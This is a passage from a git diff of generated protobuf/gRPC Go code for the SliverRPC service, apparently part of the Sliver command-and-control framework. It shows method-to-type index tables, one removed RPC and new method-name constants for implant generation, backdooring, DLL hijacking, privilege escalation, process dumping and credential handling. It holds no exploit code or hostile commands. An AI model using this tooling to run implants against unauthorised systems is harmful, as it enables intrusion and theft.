75, // 118: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq + 76, // 119: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq + 77, // 120: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq + 0, // 121: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty + 78, // 122: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq + 79, // 123: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq + 80, // 124: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq + 81, // 125: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq + 82, // 126: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq + 83, // 127: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq + 84, // 128: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq + 85, // 129: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq + 86, // 130: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq + 87, // 131: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq + 88, // 132: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq + 89, // 133: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq + 90, // 134: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq + 91, // 135: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq + 92, // 136: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq + 93, // 137: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq + 94, // 138: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq + 95, // 139: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq + 96, // 140: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq + 97, // 141: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq + 98, // 142: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession + 99, // 143: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession + 100, // 144: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq + 101, // 145: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq + 102, // 146: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq + 103, // 147: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq + 104, // 148: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq + 105, // 149: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq + 106, // 150: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq + 107, // 151: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq + 108, // 152: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq + 109, // 153: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq + 110, // 154: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq + 111, // 155: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq + 112, // 156: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq + 113, // 157: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq + 114, // 158: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks + 114, // 159: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks + 115, // 160: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData + 116, // 161: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel + 116, // 162: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel + 117, // 163: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData + 0, // 164: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty + 118, // 165: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version + 0, // 166: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty + 0, // 167: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty + 119, // 168: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure + 0, // 169: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty + 120, // 170: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions + 121, // 171: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons + 5, // 172: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon + 0, // 173: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty + 122, // 174: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks + 6, // 175: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask + 6, // 176: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask + 123, // 177: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response + 0, // 178: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty + 124, // 179: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs + 125, // 180: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob + 126, // 181: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener + 127, // 182: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener + 128, // 183: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener + 129, // 184: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener + 129, // 185: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener + 130, // 186: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener + 130, // 187: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener + 13, // 188: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot + 0, // 189: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty + 13, // 190: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot + 13, // 191: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot + 131, // 192: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot + 14, // 193: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials + 0, // 194: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty + 0, // 195: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty + 0, // 196: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty + 15, // 197: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential + 14, // 198: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials + 14, // 199: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials + 15, // 200: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential + 132, // 201: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts + 16, // 202: rpcpb.SliverRPC.Host:output_type -> clientpb.Host + 0, // 203: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty + 0, // 204: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty + 133, // 205: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate + 134, // 206: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig + 0, // 207: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty + 134, // 208: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig + 23, // 209: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event + 0, // 210: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty + 135, // 211: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders + 23, // 212: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event + 0, // 213: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty + 0, // 214: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty + 136, // 215: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations + 26, // 216: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask + 0, // 217: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty + 137, // 218: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles + 27, // 219: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile + 0, // 220: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty + 28, // 221: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk + 0, // 222: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty + 0, // 223: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty + 133, // 224: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate + 138, // 225: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds + 0, // 226: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty + 139, // 227: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries + 140, // 228: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig + 141, // 229: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP + 142, // 230: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles + 0, // 231: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty + 31, // 232: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile + 143, // 233: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager + 144, // 234: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI + 145, // 235: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler + 146, // 236: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode + 147, // 237: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap + 148, // 238: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap + 149, // 239: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests + 0, // 240: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty + 150, // 241: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites + 36, // 242: rpcpb.SliverRPC.Website:output_type -> clientpb.Website + 0, // 243: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty + 36, // 244: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website + 36, // 245: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website + 36, // 246: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website + 39, // 247: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping + 151, // 248: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps + 152, // 249: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate + 153, // 250: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig + 154, // 251: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat + 155, // 252: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls + 156, // 253: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd + 156, // 254: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd + 157, // 255: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv + 158, // 256: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp + 159, // 257: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm + 160, // 258: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir + 161, // 259: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download + 162, // 260: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload + 163, // 261: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod + 164, // 262: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown + 165, // 263: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes + 155, // 264: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls + 166, // 265: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd + 167, // 266: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm + 168, // 267: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump + 169, // 268: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs + 170, // 269: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate + 171, // 270: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf + 172, // 271: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem + 173, // 272: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task + 173, // 273: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task + 173, // 274: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task + 174, // 275: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly + 175, // 276: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate + 176, // 277: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute + 176, // 278: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute + 177, // 279: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload + 178, // 280: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll + 179, // 281: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot + 180, // 282: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner + 181, // 283: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener + 0, // 284: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty + 182, // 285: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners + 183, // 286: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph + 184, // 287: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo + 184, // 288: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo + 184, // 289: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo + 185, // 290: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken + 186, // 291: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo + 187, // 292: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv + 188, // 293: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv + 189, // 294: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor + 190, // 295: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead + 191, // 296: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite + 192, // 297: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey + 193, // 298: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey + 194, // 299: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList + 195, // 300: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList + 196, // 301: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand + 197, // 302: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack + 198, // 303: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs + 199, // 304: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener + 200, // 305: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners + 199, // 306: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener + 98, // 307: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession + 0, // 308: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty + 201, // 309: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension + 202, // 310: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension + 203, // 311: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions + 204, // 312: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension + 205, // 313: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions + 206, // 314: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension + 207, // 315: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward + 207, // 316: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward + 208, // 317: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks + 208, // 318: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks + 209, // 319: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders + 210, // 320: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers + 211, // 321: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell + 212, // 322: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd + 114, // 323: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks + 0, // 324: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty + 115, // 325: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData + 116, // 326: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel + 0, // 327: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty + 117, // 328: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData + 23, // 329: rpcpb.SliverRPC.Events:output_type -> clientpb.Event + 165, // [165:330] is the sub-list for method output_type + 0, // [0:165] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name diff --git a/protobuf/rpcpb/services.proto b/protobuf/rpcpb/services.proto index 68401fde39..71c74fe2d5 100644 --- a/protobuf/rpcpb/services.proto +++ b/protobuf/rpcpb/services.proto @@ -14,9 +14,6 @@ service SliverRPC { // *** Client Logs *** rpc ClientLog(stream clientpb.ClientLogData) returns (commonpb.Empty); - // *** Operator Commands *** - rpc GetOperators(commonpb.Empty) returns (clientpb.Operators); - // *** Generic *** rpc Kill(sliverpb.KillReq) returns (commonpb.Empty); rpc Reconfigure(sliverpb.ReconfigureReq) returns (sliverpb.Reconfigure); diff --git a/protobuf/rpcpb/services_grpc.pb.go b/protobuf/rpcpb/services_grpc.pb.go index ebb8f65494..0128953350 100644 --- a/protobuf/rpcpb/services_grpc.pb.go +++ b/protobuf/rpcpb/services_grpc.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. // versions: -// - protoc-gen-go-grpc v1.2.0 -// - protoc v3.21.12 +// - protoc-gen-go-grpc v1.3.0 +// - protoc v3.15.8 // source: rpcpb/services.proto package rpcpb @@ -21,6 +21,174 @@ import ( // Requires gRPC-Go v1.32.0 or later. const _ = grpc.SupportPackageIsVersion7 +const ( + SliverRPC_GetVersion_FullMethodName = "/rpcpb.SliverRPC/GetVersion" + SliverRPC_ClientLog_FullMethodName = "/rpcpb.SliverRPC/ClientLog" + SliverRPC_Kill_FullMethodName = "/rpcpb.SliverRPC/Kill" + SliverRPC_Reconfigure_FullMethodName = "/rpcpb.SliverRPC/Reconfigure" + SliverRPC_Rename_FullMethodName = "/rpcpb.SliverRPC/Rename" + SliverRPC_GetSessions_FullMethodName = "/rpcpb.SliverRPC/GetSessions" + SliverRPC_GetBeacons_FullMethodName = "/rpcpb.SliverRPC/GetBeacons" + SliverRPC_GetBeacon_FullMethodName = "/rpcpb.SliverRPC/GetBeacon" + SliverRPC_RmBeacon_FullMethodName = "/rpcpb.SliverRPC/RmBeacon" + SliverRPC_GetBeaconTasks_FullMethodName = "/rpcpb.SliverRPC/GetBeaconTasks" + SliverRPC_GetBeaconTaskContent_FullMethodName = "/rpcpb.SliverRPC/GetBeaconTaskContent" + SliverRPC_CancelBeaconTask_FullMethodName = "/rpcpb.SliverRPC/CancelBeaconTask" + SliverRPC_MonitorStart_FullMethodName = "/rpcpb.SliverRPC/MonitorStart" + SliverRPC_MonitorStop_FullMethodName = "/rpcpb.SliverRPC/MonitorStop" + SliverRPC_GetJobs_FullMethodName = "/rpcpb.SliverRPC/GetJobs" + SliverRPC_KillJob_FullMethodName = "/rpcpb.SliverRPC/KillJob" + SliverRPC_StartMTLSListener_FullMethodName = "/rpcpb.SliverRPC/StartMTLSListener" + SliverRPC_StartWGListener_FullMethodName = "/rpcpb.SliverRPC/StartWGListener" + SliverRPC_StartDNSListener_FullMethodName = "/rpcpb.SliverRPC/StartDNSListener" + SliverRPC_StartHTTPSListener_FullMethodName = "/rpcpb.SliverRPC/StartHTTPSListener" + SliverRPC_StartHTTPListener_FullMethodName = "/rpcpb.SliverRPC/StartHTTPListener" + SliverRPC_StartTCPStagerListener_FullMethodName = "/rpcpb.SliverRPC/StartTCPStagerListener" + SliverRPC_StartHTTPStagerListener_FullMethodName = "/rpcpb.SliverRPC/StartHTTPStagerListener" + SliverRPC_LootAdd_FullMethodName = "/rpcpb.SliverRPC/LootAdd" + SliverRPC_LootRm_FullMethodName = "/rpcpb.SliverRPC/LootRm" + SliverRPC_LootUpdate_FullMethodName = "/rpcpb.SliverRPC/LootUpdate" + SliverRPC_LootContent_FullMethodName = "/rpcpb.SliverRPC/LootContent" + SliverRPC_LootAll_FullMethodName = "/rpcpb.SliverRPC/LootAll" + SliverRPC_Creds_FullMethodName = "/rpcpb.SliverRPC/Creds" + SliverRPC_CredsAdd_FullMethodName = "/rpcpb.SliverRPC/CredsAdd" + SliverRPC_CredsRm_FullMethodName = "/rpcpb.SliverRPC/CredsRm" + SliverRPC_CredsUpdate_FullMethodName = "/rpcpb.SliverRPC/CredsUpdate" + SliverRPC_GetCredByID_FullMethodName = "/rpcpb.SliverRPC/GetCredByID" + SliverRPC_GetCredsByHashType_FullMethodName = "/rpcpb.SliverRPC/GetCredsByHashType" + SliverRPC_GetPlaintextCredsByHashType_FullMethodName = "/rpcpb.SliverRPC/GetPlaintextCredsByHashType" + SliverRPC_CredsSniffHashType_FullMethodName = "/rpcpb.SliverRPC/CredsSniffHashType" + SliverRPC_Hosts_FullMethodName = "/rpcpb.SliverRPC/Hosts" + SliverRPC_Host_FullMethodName = "/rpcpb.SliverRPC/Host" + SliverRPC_HostRm_FullMethodName = "/rpcpb.SliverRPC/HostRm" + SliverRPC_HostIOCRm_FullMethodName = "/rpcpb.SliverRPC/HostIOCRm" + SliverRPC_Generate_FullMethodName = "/rpcpb.SliverRPC/Generate" + SliverRPC_GenerateExternal_FullMethodName = "/rpcpb.SliverRPC/GenerateExternal" + SliverRPC_GenerateExternalSaveBuild_FullMethodName = "/rpcpb.SliverRPC/GenerateExternalSaveBuild" + SliverRPC_GenerateExternalGetImplantConfig_FullMethodName = "/rpcpb.SliverRPC/GenerateExternalGetImplantConfig" + SliverRPC_BuilderRegister_FullMethodName = "/rpcpb.SliverRPC/BuilderRegister" + SliverRPC_BuilderTrigger_FullMethodName = "/rpcpb.SliverRPC/BuilderTrigger" + SliverRPC_Builders_FullMethodName = "/rpcpb.SliverRPC/Builders" + SliverRPC_CrackstationRegister_FullMethodName = "/rpcpb.SliverRPC/CrackstationRegister" + SliverRPC_CrackstationTrigger_FullMethodName = "/rpcpb.SliverRPC/CrackstationTrigger" + SliverRPC_CrackstationBenchmark_FullMethodName = "/rpcpb.SliverRPC/CrackstationBenchmark" + SliverRPC_Crackstations_FullMethodName = "/rpcpb.SliverRPC/Crackstations" + SliverRPC_CrackTaskByID_FullMethodName = "/rpcpb.SliverRPC/CrackTaskByID" + SliverRPC_CrackTaskUpdate_FullMethodName = "/rpcpb.SliverRPC/CrackTaskUpdate" + SliverRPC_CrackFilesList_FullMethodName = "/rpcpb.SliverRPC/CrackFilesList" + SliverRPC_CrackFileCreate_FullMethodName = "/rpcpb.SliverRPC/CrackFileCreate" + SliverRPC_CrackFileChunkUpload_FullMethodName = "/rpcpb.SliverRPC/CrackFileChunkUpload" + SliverRPC_CrackFileChunkDownload_FullMethodName = "/rpcpb.SliverRPC/CrackFileChunkDownload" + SliverRPC_CrackFileComplete_FullMethodName = "/rpcpb.SliverRPC/CrackFileComplete" + SliverRPC_CrackFileDelete_FullMethodName = "/rpcpb.SliverRPC/CrackFileDelete" + SliverRPC_Regenerate_FullMethodName = "/rpcpb.SliverRPC/Regenerate" + SliverRPC_ImplantBuilds_FullMethodName = "/rpcpb.SliverRPC/ImplantBuilds" + SliverRPC_DeleteImplantBuild_FullMethodName = "/rpcpb.SliverRPC/DeleteImplantBuild" + SliverRPC_Canaries_FullMethodName = "/rpcpb.SliverRPC/Canaries" + SliverRPC_GenerateWGClientConfig_FullMethodName = "/rpcpb.SliverRPC/GenerateWGClientConfig" + SliverRPC_GenerateUniqueIP_FullMethodName = "/rpcpb.SliverRPC/GenerateUniqueIP" + SliverRPC_ImplantProfiles_FullMethodName = "/rpcpb.SliverRPC/ImplantProfiles" + SliverRPC_DeleteImplantProfile_FullMethodName = "/rpcpb.SliverRPC/DeleteImplantProfile" + SliverRPC_SaveImplantProfile_FullMethodName = "/rpcpb.SliverRPC/SaveImplantProfile" + SliverRPC_MsfStage_FullMethodName = "/rpcpb.SliverRPC/MsfStage" + SliverRPC_ShellcodeRDI_FullMethodName = "/rpcpb.SliverRPC/ShellcodeRDI" + SliverRPC_GetCompiler_FullMethodName = "/rpcpb.SliverRPC/GetCompiler" + SliverRPC_ShellcodeEncoder_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoder" + SliverRPC_ShellcodeEncoderMap_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoderMap" + SliverRPC_TrafficEncoderMap_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderMap" + SliverRPC_TrafficEncoderAdd_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderAdd" + SliverRPC_TrafficEncoderRm_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderRm" + SliverRPC_Websites_FullMethodName = "/rpcpb.SliverRPC/Websites" + SliverRPC_Website_FullMethodName = "/rpcpb.SliverRPC/Website" + SliverRPC_WebsiteRemove_FullMethodName = "/rpcpb.SliverRPC/WebsiteRemove" + SliverRPC_WebsiteAddContent_FullMethodName = "/rpcpb.SliverRPC/WebsiteAddContent" + SliverRPC_WebsiteUpdateContent_FullMethodName = "/rpcpb.SliverRPC/WebsiteUpdateContent" + SliverRPC_WebsiteRemoveContent_FullMethodName = "/rpcpb.SliverRPC/WebsiteRemoveContent" + SliverRPC_Ping_FullMethodName = "/rpcpb.SliverRPC/Ping" + SliverRPC_Ps_FullMethodName = "/rpcpb.SliverRPC/Ps" + SliverRPC_Terminate_FullMethodName = "/rpcpb.SliverRPC/Terminate" + SliverRPC_Ifconfig_FullMethodName = "/rpcpb.SliverRPC/Ifconfig" + SliverRPC_Netstat_FullMethodName = "/rpcpb.SliverRPC/Netstat" + SliverRPC_Ls_FullMethodName = "/rpcpb.SliverRPC/Ls" + SliverRPC_Cd_FullMethodName = "/rpcpb.SliverRPC/Cd" + SliverRPC_Pwd_FullMethodName = "/rpcpb.SliverRPC/Pwd" + SliverRPC_Mv_FullMethodName = "/rpcpb.SliverRPC/Mv" + SliverRPC_Cp_FullMethodName = "/rpcpb.SliverRPC/Cp" + SliverRPC_Rm_FullMethodName = "/rpcpb.SliverRPC/Rm" + SliverRPC_Mkdir_FullMethodName = "/rpcpb.SliverRPC/Mkdir" + SliverRPC_Download_FullMethodName = "/rpcpb.SliverRPC/Download" + SliverRPC_Upload_FullMethodName = "/rpcpb.SliverRPC/Upload" + SliverRPC_Chmod_FullMethodName = "/rpcpb.SliverRPC/Chmod" + SliverRPC_Chown_FullMethodName = "/rpcpb.SliverRPC/Chown" + SliverRPC_Chtimes_FullMethodName = "/rpcpb.SliverRPC/Chtimes" + SliverRPC_MemfilesList_FullMethodName = "/rpcpb.SliverRPC/MemfilesList" + SliverRPC_MemfilesAdd_FullMethodName = "/rpcpb.SliverRPC/MemfilesAdd" + SliverRPC_MemfilesRm_FullMethodName = "/rpcpb.SliverRPC/MemfilesRm" + SliverRPC_ProcessDump_FullMethodName = "/rpcpb.SliverRPC/ProcessDump" + SliverRPC_RunAs_FullMethodName = "/rpcpb.SliverRPC/RunAs" + SliverRPC_Impersonate_FullMethodName = "/rpcpb.SliverRPC/Impersonate" + SliverRPC_RevToSelf_FullMethodName = 